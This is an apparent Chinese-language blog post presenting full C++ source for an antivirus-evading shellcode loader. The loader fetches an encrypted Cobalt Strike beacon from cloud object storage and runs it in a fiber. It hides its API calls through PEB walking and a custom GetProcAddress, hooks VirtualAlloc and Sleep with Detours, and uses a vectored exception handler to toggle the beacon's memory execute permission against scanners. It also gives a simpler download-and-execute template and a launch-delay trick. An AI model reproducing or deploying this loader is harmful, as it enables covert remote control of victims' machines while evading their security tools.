首先创建号oss,上传文件,复制临时链接
木马内写
可以看到能成功上线但是有个问题就是占用cpu大小为9%左右,这里我用的是腾讯云oss实现的,用阿里云oss实现也是9%左右
我再次进行url的aes加密
还是百分之9左右,
这里给出主代码
ConsoleApplication17_2_3.cpp:
#include <iostream>
#include<Windows.h>
#include "detours.h"
#include "detver.h"
#include <WinInet.h>
#include "base64.h"
#include "AES.h"
#include "need.h"
#pragma comment(lib,"detours.lib")
#pragma comment(lib,"wininet")
#pragma warning(disable:4996)
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
extern "C" PVOID64 _cdecl GetPeb();
using namespace std;
LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;
BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;
typedef LPVOID(WINAPI* InternetOpenUrlW_T)(
_In_ HINTERNET hInternet,
_In_ LPCWSTR lpszUrl,
_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
_In_ DWORD dwHeadersLength,
_In_ DWORD dwFlags,
_In_opt_ DWORD_PTR dwContext
);
typedef LPVOID(WINAPI* VirtualAllocT)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef HINTERNET(WINAPI* InternetOpenW_T)(
_In_opt_ LPCWSTR lpszAgent,
_In_ DWORD dwAccessType,
_In_opt_ LPCWSTR lpszProxy,
_In_opt_ LPCWSTR lpszProxyBypass,
_In_ DWORD dwFlags
);
typedef HINTERNET(WINAPI* InternetConnectW_T)(
_In_ HINTERNET hInternet,
_In_ LPCWSTR lpszServerName,
_In_ INTERNET_PORT nServerPort,
_In_opt_ LPCWSTR lpszUserName,
_In_opt_ LPCWSTR lpszPassword,
_In_ DWORD dwService,
_In_ DWORD dwFlags,
_In_opt_ DWORD_PTR dwContext
);
typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(
_In_ HINTERNET hConnect,
_In_opt_ LPCWSTR lpszVerb,
_In_opt_ LPCWSTR lpszObjectName,
_In_opt_ LPCWSTR lpszVersion,
_In_opt_ LPCWSTR lpszReferrer,
_In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,
_In_ DWORD dwFlags,
_In_opt_ DWORD_PTR dwContext
);
typedef HINTERNET(WINAPI* HttpSendRequestW_T)(
_In_ HINTERNET hRequest,
_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
_In_ DWORD dwHeadersLength,
_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
_In_ DWORD dwOptionalLength
);
typedef HINTERNET(WINAPI* InternetReadFile_T)(
_In_ HINTERNET hFile,
_Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
_In_ DWORD dwNumberOfBytesToRead,
_Out_ LPDWORD lpdwNumberOfBytesRead
);
FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
// Get the address of the module's PE header
BYTE* pImageBase = (BYTE*)hModule;
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;
IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);
// Get the address of the export directory
IMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);
DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);
WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);
DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);
for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {
LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);
if (strcmp(lpProcName, pName) == 0) {
WORD ordinal = pAddressOfNameOrdinals[i];
DWORD functionRVA = pAddressOfFunctions[ordinal];
FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);
return pFunction;
}
}
return NULL;
}
HMODULE getKernel32Address()
{
PVOID64 Peb = GetPeb();
PVOID64 LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb + 0x018); //0x018是LDR相对于PEB偏移 存放着LDR的基地址
UNICODE_STRING* FullName;
HMODULE hKernel32 = NULL;
LIST_ENTRY* pNode = NULL;
pNode = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr + 0x30)); //偏移到InInitializationOrderModuleList
while (true)
{
FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);//BaseDllName基于InInitialzationOrderModuList的偏移
if (*(FullName->Buffer + 12) == '\0')
{
hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));//DllBase
break;
}
pNode = pNode->Flink;
}
return hKernel32;
}
HMODULE getWininetAddress()
{
HMODULE hWininet = nullptr;
// 获取模块句柄
hWininet = GetModuleHandle(L"wininet.dll");
return hWininet;
}
//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
string strData = ko::Base64::decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn = new char[length + 1];
memcpy(szDataIn, strData.c_str(), length + 1);
//明文
char* szDataOut = new char[length + 1];
memcpy(szDataOut, strData.c_str(), length + 1);
//进行AES的CBC模式解密
AES aes;
aes.MakeKey(g_key, g_iv, 16, 16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
//去PKCS7Padding填充
if (0x00 < szDataOut[length - 1] <= 0x16)
{
int tmp = szDataOut[length - 1];
for (int i = length - 1; i >= length - tmp; i--)
{
if (szDataOut[i] != tmp)
{
memset(szDataOut, 0, length);
cout << "去填充失败!解密出错!!" << endl;
break;
}
else
szDataOut[i] = 0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
//Hook VirtualAlloc函数的原因是我们需要知道Beacon在自展开时分配的可执行内存起始地址和大小是多少好在后面对这块内存取消X属性以免被扫描
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
Beacon_data_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("分配大小:%d", Beacon_data_len);
printf("分配地址:%llx \n", Beacon_address);
return Beacon_address;
}
//Hool Sleep函数是因为我们需要在Beacon进入Sleep后立马取消Beacon内存区域的X属性
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep时间:%d\n", dwMilliseconds);
SetEvent(hEvent);
OldSleep(dwMilliseconds);
}
void Hook()
{
DetourRestoreAfterWith(); //避免重复HOOK,恢复原来HOOK
DetourTransactionBegin(); // 开始HOOK
DetourUpdateThread(GetCurrentThread()); //刷新当前线程
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); //将拦截的函数附加到原函数的地址上,这里可以拦截多个函数 NewVirtualAlloc
DetourAttach((PVOID*)&OldSleep, NewSleep); //将拦截的函数附加到原函数的地址上, 这里可以拦截多个函数 NewSleep
DetourTransactionCommit(); // 提交HOOK
}
void UnHook()
{
DetourTransactionBegin(); //恢复原来HOOK
DetourUpdateThread(GetCurrentThread()); //刷新当前线程
DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); //解除hook
DetourTransactionCommit(); //提交
}
size_t GetSize(char* szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END); //fseek函数用于重定位流(数据流/文件)上的文件内部位置指针 //SEEK_END代表文件末尾
size = ftell(f); //获取文件的 当前指针位置 相对于 文件首地址 的偏移字节数
rewind(f); //rewind() 函数将文件位置指示符设置为给定文件流的开头
fclose(f);
return size;
}
unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
unsigned char* p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath); //
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new unsigned char[*size];
// Read file
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
BOOL is_Exception(DWORD64 Exception_addr)
{
if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
{
printf("地址符合:%llx\n", Exception_addr);
return true;
}
printf("地址不符合:%llx\n", Exception_addr);
return false;
}
//设置VEH异常处理函数,用来在因内存X属性取消后触发异常时恢复X属性
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
printf("FirstVectExcepHandler\n");
printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip)) //判断异常错误码是否等于0xc0000005,并且调用is_Exception函数来判断pExcepInfo->ContextRecord->Rip是否符合某个条件。pExcepInfo 是一个指向异常信息结构体 EXCEPINFO 的指针,用于存储关于异常的详细信息,ContextRecord 是 EXCEPTION_RECORD 结构体的一个成员,它是一个指向上下文记录的指针,其中包含有关引发异常的线程的上下文信息
{
printf("恢复Beacon内存属性\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect); //恢复beacon内存属性
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
//然后创建一个线程用来在Beacon进入睡眠之后立刻取消Beacon内存区域的X属性
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
printf("Beacon_set_Memory_attributes启动\n");
while (true)
{
WaitForSingleObject(hEvent, INFINITE); //INFINITE表示等待时间无限长,直到收到信号为止
printf("设置Beacon内存属性不可执行\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect); //内存属性
ResetEvent(hEvent); //重置事件对象
}
return 0;
}
int main()
{
//创建事件用来同步线程
hEvent = CreateEvent(NULL, TRUE, false, NULL);
AddVectoredExceptionHandler(1, &FirstVectExcepHandler); //表示注册一个优先级为 1 的向量化异常处理程序,并将其指向名为 FirstVectExcepHandler 的函数。当发生相应的异常时,被注册的处理程序 FirstVectExcepHandler 将会被调用。
Hook();
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL); //创建线程
CloseHandle(hThread1); //关闭句柄
unsigned char* BinData = NULL;
size_t payload_len = 500000;
std::string enurl = "pPbUyIQfH7fYmeRslKZqDYZr0E6Wsnmx6jpO+b/j4Of6teqdsWN7vb1iORsQ4N6PyM4spn1foZ5XaCz7WyB/fz4o57xKWhUeaSzjJqcMAkSodsafasfsafaKwSA2QPfI83Sfi8yzkqpMxQ3xt3pjRPcARUef2DZdPM39NBt+1aA/jrCqkjP2Oj0odxnh447CVmf1aNQJDJ4B5h3VHy8LhtVJWkmBYEVJjHTM1XhQBaB0x2HA2hIFxP6lRHacgjEOhzMmfoaLICVvGGYyi/vejZ2EDeKx1lW9oPc298560BH/aYiZtE+QzHGNJ8A1rgxo44oAQXdhww6HAT8hf1XE+tgacogdQUUcaWxU//YUnrrEIIs7HIWq/sALDhxyXHNmmlzeDEVVISRQbtwmVbK9CZalstMUcf4oZBhPqthmkvO2S1+egWp/45+R+UjiB752T5dLhphd5CiVKxXHg8Dp1I0Usu8mATPbHIJigT4LEcCHRInw663iBUsYgIQYcg00sxhqcOhmtbvwt18Vhv12o3fUQwJ2ifz3tzCGReOVoT3JqVc9L8G/GdWzI/uyO23qh6FY/rCS14lZGGqAaHMOp8ylHyEzNHVSEiVRnXjG1ZfJdXqO9WYOu3dznrRylx7ScWBvv4qOKU9QeHSF7UcgMx0eFLZTGud0dy4PNsS4Nz+DvMyBoubTlCKFEdpVM9amRI1o3+gA21wfbKiagsKyuwO6XCHXHFLXq33zJqB4cDuJL6HrreH4FTIkba3+PLqf2GKLqtkh7jIjgXmvb3HPH0Sng41jFJ8WC6tCzvXn8=";
string deurl = DecryptionAES(enurl);
int urlLen = MultiByteToWideChar(CP_UTF8, 0, deurl.c_str(), -1, NULL, 0);
LPWSTR urlLPCWSTR = new WCHAR[urlLen];
MultiByteToWideChar(CP_UTF8, 0, deurl.c_str(), -1, urlLPCWSTR, urlLen);
HINTERNET session;
HINTERNET conn;
HINTERNET reqfile;
DWORD nread;
//shellcode_addr = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //使用默认设置创建会话
char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress((HMODULE)getKernel32Address(), xyVAc);
shellcode_addr = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//创建请求
//reqfile = InternetOpenUrl(session, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
char IOU[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','U','r','l','W',0 };
InternetOpenUrlW_T pHOR = (InternetOpenUrlW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), IOU);
reqfile = pHOR(session, urlLPCWSTR, NULL, 0, INTERNET_FLAG_RELOAD, 0);
//发送请求并读取响应
//HttpSendRequest(reqfile, NULL, 0, 0, 0);
char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };
HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHSR);
pHSR(reqfile, NULL, 0, 0, 0);
//InternetReadFile(reqfile, shellcode_addr, payload_len, &nread);
char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };
InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIRF);
pIRF(reqfile, shellcode_addr, payload_len, &nread);
std::string AESEncodedContent(reinterpret_cast<const char*>(shellcode_addr), nread);
std::string base64DecodedContent;
string AESDecodedContent = DecryptionAES(AESEncodedContent);
base64DecodedContent = ko::Base64::decode(AESDecodedContent);
//char* szFilePath = "F:\\Tools\\beacon811.bin";
//BinData = ReadBinaryFile(szFilePath, &size); //ReadBinaryFile函数能直接读取二进制文件
LPVOID fiber = ConvertThreadToFiber(NULL);
//CopyMemory(shellcode_addr, base64DecodedContent.data, base64DecodedContent.size());
memcpy(shellcode_addr, base64DecodedContent.data(), base64DecodedContent.size()); //将内存复制进去
VirtualProtect(shellcode_addr, payload_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect); //修改内存属性
LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)shellcode_addr, NULL);
SwitchToFiber(shellFiber);
/*(*(int(*)()) shellcode_addr)();*/
UnHook();
return 0;
}
//整体思路:Beacon进入睡眠就取消它内存的可执行属性,等Beacon线程醒来时触发异常交由VEH异常处理函数恢复内存的可执行属性,然后Beacon执行完成后又进入睡眠一直重复上述过程
这段代码在ConsoleApplication17_2的基础上进行更改,请求方式从之前的ip和端口和文件名改成了一个url实现
是基于如下模板改的
#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include <string>
#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
int main()
{
void* exec;
int payload_len = 280000; //shellcode大小
std::string url = "http://x.x.x.x/beacon.bin"; //完整的URL,包括主机和路径
HINTERNET session;
HINTERNET reqfile;
DWORD nread;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存
//使用默认设置创建会话
session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//将std::string转换为char*
const char* urlChar = url.c_str();
//创建请求
reqfile = InternetOpenUrlA(session, urlChar, NULL, 0, INTERNET_FLAG_RELOAD, 0);
//发送请求并读取响应
InternetReadFile(reqfile, exec, payload_len, &nread);
((void(*)())exec)();
//关闭所有句柄
InternetCloseHandle(reqfile);
InternetCloseHandle(session);
}
免杀效果
增加上线延迟
clock_t start_time = clock();// 记录当前时钟数
while ((clock() - start_time) / CLOCKS_PER_SEC < 5) {} //循环等待5秒钟